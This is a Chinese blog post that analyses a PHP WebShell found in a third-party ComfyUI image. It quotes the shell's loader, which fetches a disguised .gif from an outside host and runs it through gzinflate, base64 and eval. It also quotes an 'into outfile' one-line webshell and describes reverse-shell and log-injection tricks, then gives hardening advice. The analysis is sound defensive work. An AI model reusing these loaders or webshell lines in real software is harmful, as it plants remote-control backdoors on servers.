news 2026/3/21 22:34:22

逆向分析一款WebShell的解密与代码还原过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
逆向分析一款WebShell的解密与代码还原过程

逆向分析一款WebShell的解密与代码还原过程

在调试一个基于 Z-Image 大模型构建的 ComfyUI 部署镜像时,我原本期待的是流畅的人像生成体验。结果刚运行完启动脚本,浏览器却跳转到了一个画风诡异的登录页——黑底白字、闪烁的彩色标题,还有那个熟悉的“欢迎使用 eanver v2.0”字样。

这不是 AI 工作流界面,这是 WebShell。

更离谱的是,这个后门居然藏在一个号称“一键部署、开箱即用”的 Z-Image-ComfyUI 镜像里。而该镜像据称是基于阿里开源的Z-Image 系列大模型(6B参数)打包而成,主打高效推理和中英双语支持,在写实类图像生成场景表现优异。

可谁也没想到,它的底层竟埋着一条完整的攻击链。


初现异常:从 Jupyter 到 WebShell 的诡异跳转

整个流程看似标准:

  1. 从某第三方 GitCode 镜像站下载 Docker 镜像;
  2. 在单卡 GPU 实例上完成部署;
  3. 进入 JupyterLab 执行1键启动.sh
  4. 点击控制台中的“ComfyUI网页”链接。

但点击后并未进入 ComfyUI 的工作流界面,反而跳到了一个 PHP 编写的登录页面。查看源码,发现只有极简 HTML 和一段用于颜色扰动的 JavaScript:

<script> function upColor(va){ setTimeout("upColor(1)",100); var v="#"+Math.floor(Math.random()*900000).toString(); document.getElementById("id1").style.color=v; } </script>

这明显不是正常服务应有的行为。进一步抓包发现,主逻辑集中在/index.php?eanver=main上。直接请求该路径,返回内容为高度混淆的 PHP 脚本:

<?php $shellname="Sievr"; $password='99999'; s:142856; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); // ... 大量无意义函数定义 ...

其中s:142856;显然是序列化字符串残留,说明原始数据可能经过serialize()处理后再嵌入脚本。但这还不是最危险的部分。

真正让我警觉的一行是:

$get = create_function('', 'return file_get_contents("http://i.niupic.com/images/2017/05/21/v1QR1M.gif");'); $_SESSION['PhpCode'] = $get($url);

它竟然通过远程加载一个.gif文件来获取核心代码!


深度剖析:GIF 图片背后的压缩载荷

立刻执行下载:

wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif -O payload.bin

文件大小约 140KB,file payload.bin显示类型为 “data”,strings提取也全是乱码。但十六进制查看时,前两个字节赫然是1F 8B——gzip 的魔数标志

这意味着:这张 GIF 很可能是伪装成图片的压缩脚本,真实内容需解压后才能显现。

尝试剥离头部并解压:

$data = file_get_contents('payload.bin'); $uncompressed = gzinflate(substr($data, 10)); // 跳过 gzip header 及 HTTP 元信息 echo $uncompressed;

输出终于清晰起来:

<?php eval(base64_decode("7X1rk9u4kib2+fkr9..."));

至此,完整加载链条浮出水面:

用户访问 → index.php → 下载 .gif → gzinflate 解压 → base64_decode → eval 执行

典型的多层免杀结构:利用合法扩展名绕过上传检测,用压缩+编码规避静态扫描,最后通过动态执行隐藏恶意逻辑。

这种手法早已脱离早期“一句话木马”的粗糙模式,进化成了供应链级的隐蔽渗透工具。


静态还原:手动拆解每一层加密

为了彻底掌握其攻击能力,必须将动态行为静态化。

第一步:本地化远程依赖

修改$get函数,不再发起网络请求:

$get = create_function('$url', 'return file_get_contents("./payload.bin");');

然后让程序正常运行一次,捕获$_SESSION['PhpCode']的实际值并保存:

file_put_contents('step1_raw.gz', $_SESSION['PhpCode']);

第二步:逐级解密还原

① GZIP 层解压
$raw = file_get_contents('step1_raw.gz'); $deflated = gzinflate(substr($raw, 10)); file_put_contents('step2_deflated.bin', $deflated);
② Base64 解码
$encoded = file_get_contents('step2_deflated.bin'); $decoded = base64_decode($encoded); file_put_contents('step3_decoded.php', $decoded);

打开step3_decoded.php,终于看到完整的 WebShell 功能模块:

class PHPzip { /* ZIP打包类 */ } function do_passreturn() { /* 批量挂马功能 */ } function css_js() { /* JS混淆函数 */ }

进一步分析,该后门具备以下高危能力:

功能类别攻击用途
文件管理浏览、上传、编辑任意文件
数据库操作连接 MySQL、导出系统敏感信息
反弹 Shell使用 NC 或 Serv-U 提权
批量替换网站批量挂马清马
图像隐写利用 GIF 图片隐藏远控指令

尤其值得注意的是mysql_exec模块中的一条语句:

Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile '/var/www/html/bak.php';";

这是典型的写一句话木马操作,一旦执行成功,攻击者即可通过 POST 请求完全控制服务器。

此外,还发现了对日志目录的探测逻辑:

if (is_writable('/app/logs') || is_writable('/output')) { // 启动日志注入模式 }

结合 User-Agent 注入技巧,完全可能实现无文件落地的持久化驻留。


关联 Z-Image-ComfyUI:漏洞入口的可能性分析

虽然官方并未发布任何含 PHP 组件的版本,但我们推测问题出在以下几个环节:

1. 镜像源被污染

尽管项目官网提供纯净版镜像,但部分第三方平台发布的“优化版”、“加速版”可能存在篡改。例如某些论坛提供的“免配置高速版”就植入了此类 WebShell,打着“提升用户体验”的幌子进行传播。

2. 插件机制滥用

Z-Image-Edit 支持自定义节点扩展。若攻击者伪造一个名为Z-Image-FixNode的插件,并诱导用户导入,则可在custom_nodes/目录下释放恶意文件。若该目录又被映射到 Web 根路径或具备解析权限,极易导致 RCE。

3. 输出目录可写 + 日志注入

部分部署脚本未正确设置权限,使得/logs/output目录对外可写。结合 Nginx/Apache 日志记录机制,攻击者可通过构造特殊请求(如带 PHP 代码的 User-Agent),再配合日志文件包含漏洞触发代码执行。

这类攻击不需要上传文件,也不依赖数据库,隐蔽性极高。


安全加固建议:守住 AI 应用的第一道防线

面对日益复杂的供应链威胁,仅靠“信任上游”已远远不够。以下是我们在实际运维中总结出的有效防护策略:

✅ 推荐做法

项目实施建议
镜像来源仅从官方仓库拉取,核对 SHA256 校验值
权限控制容器内以非 root 用户运行,限制/output,/models,/custom_nodes为只读
访问控制使用反向代理 + Basic Auth / JWT 保护 ComfyUI 与 Jupyter 接口
安全审计定期扫描容器内是否存在.php,.jsp,.aspx等脚本文件
网络策略禁用allow_url_fopen=On,或配置严格的allow_url_include白名单

❌ 明令禁止的操作

  • 不要安装未知来源的 ComfyUI 插件
  • 不要在公网暴露未经认证的服务端口
  • 不要以 root 权限运行 AI 容器
  • 不要开启 PHP 的远程文件包含功能

特别提醒:很多开发者认为“我只是跑个模型”,不会成为攻击目标。但现实是,AI 推理节点因算力资源丰富,恰恰是挖矿、DDoS 跳板的首选目标。


写在最后:AI 强大,但环境干净更重要

这次事件让我深刻意识到:即便是最先进的Z-Image-Turbo 模型(仅需 8 NFEs 即可生成高质量图像),也无法抵御人为引入的供应链攻击。

🤖AI 很强大,但前提是你的环境是干净的。

如今的 WebShell 已经不再是简单的<?php @eval($_POST['cmd']);?>,而是演变为融合图像隐写、压缩编码、动态加载、多层免杀的高级威胁载体。它们常常依附于热门开源项目,借助“便捷部署包”的名义扩散,极具迷惑性。

无论你是使用Z-Image-Base进行微调,还是用Z-Image-Edit做图像修复,请始终牢记四个原则:

  • 源可信:只信官方渠道,警惕“优化版”陷阱
  • 配置严:最小权限运行,关闭不必要的功能
  • 权最小:非必要不开放端口,非必要不挂载可写目录
  • 监控全:定期做完整性校验,部署文件变更告警

下面是本次提取出的核心 WebShell 加载流程图,可用于后续检测与防御参考:

graph LR A[index.php] --> B[remote .gif file] B --> C[gzinflate(data)] C --> D[base64_decode()] D --> E[eval(payload)] E --> F[执行任意PHP代码]

整个过程层层嵌套,动静结合,充分体现了现代恶意软件对抗检测的设计思路。


:本文所涉 WebShell 并非 Z-Image 官方组件,所有分析均基于技术研究目的,严禁用于非法渗透测试。

I’m Sievr.
Stay sharp, stay secure.

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/19 10:57:37

C4D材质基础:从金属到玻璃的贴图技巧

C4D材质基础&#xff1a;从金属到玻璃的贴图技巧 在三维设计中&#xff0c;一个模型是否“真实”&#xff0c;往往不取决于建模精度有多高&#xff0c;而在于它的表面是否可信。即便是一个简单的球体&#xff0c;只要材质做得好&#xff0c;也能让人误以为是刚抛光的不锈钢轴承…

作者头像 李华
网站建设 2026/3/20 19:59:06

PHP木马代码分析与安全风险揭示

PHP木马代码分析与安全风险揭示 在当今生成式 AI 技术迅猛发展的背景下&#xff0c;越来越多企业选择部署本地化的图像生成系统&#xff0c;比如基于 Z-Image-ComfyUI 的可视化推理平台。这类工具极大提升了内容创作效率&#xff0c;但其背后的安全隐患却常常被开发者忽视——尤…

作者头像 李华
网站建设 2026/3/16 0:55:15

坐标转换与投影:解决 WebGIS 的坐标混乱问题

在 WebGIS 开发中&#xff0c;坐标系统不统一是最常见的 “坑”—— 同样的地理位置&#xff0c;在高德地图、百度地图、OpenStreetMap 上的坐标值却完全不同&#xff0c;导致地图要素偏移、定位不准等问题。这背后的核心原因是不同平台采用了不同的坐标系&#xff1a;WGS84&am…

作者头像 李华
网站建设 2026/3/17 10:40:27

PHP大马分析:短小精悍的后门程序

PHP大马分析&#xff1a;短小精悍的后门程序 在一次常规的安全巡检中&#xff0c;WAF&#xff08;Web应用防火墙&#xff09;捕获到一个看似普通的文件上传请求。表面上看只是个简单的PHP脚本&#xff0c;但触发了多条高危规则——这引起了我的警觉。 <?php $password a…

作者头像 李华
网站建设 2026/3/15 10:31:18

CALIPSO激光雷达333米云层数据解析

IndexTTS 2.0&#xff1a;让每个声音都有性格&#xff0c;让每句话都带情绪 你有没有遇到过这种情况&#xff1a;精心剪辑的视频卡在最后一环——配音不贴脸&#xff1f;找真人录音成本高、周期长&#xff0c;用传统AI语音又“机械感”十足&#xff0c;情绪平平&#xff0c;节…

作者头像 李华
网站建设 2026/3/15 10:35:17

Open-AutoGLM邀请码哪里找?3个高成功率渠道+申请模板免费送

第一章&#xff1a;Open-AutoGLM邀请码获取 获取 Open-AutoGLM 的访问权限是使用该开源框架的第一步&#xff0c;目前系统采用邀请码机制控制用户注册&#xff0c;以保障服务稳定性和社区质量。 官方渠道申请 用户可通过 Open-AutoGLM 官方网站提交申请表单&#xff0c;填写真…

作者头像 李华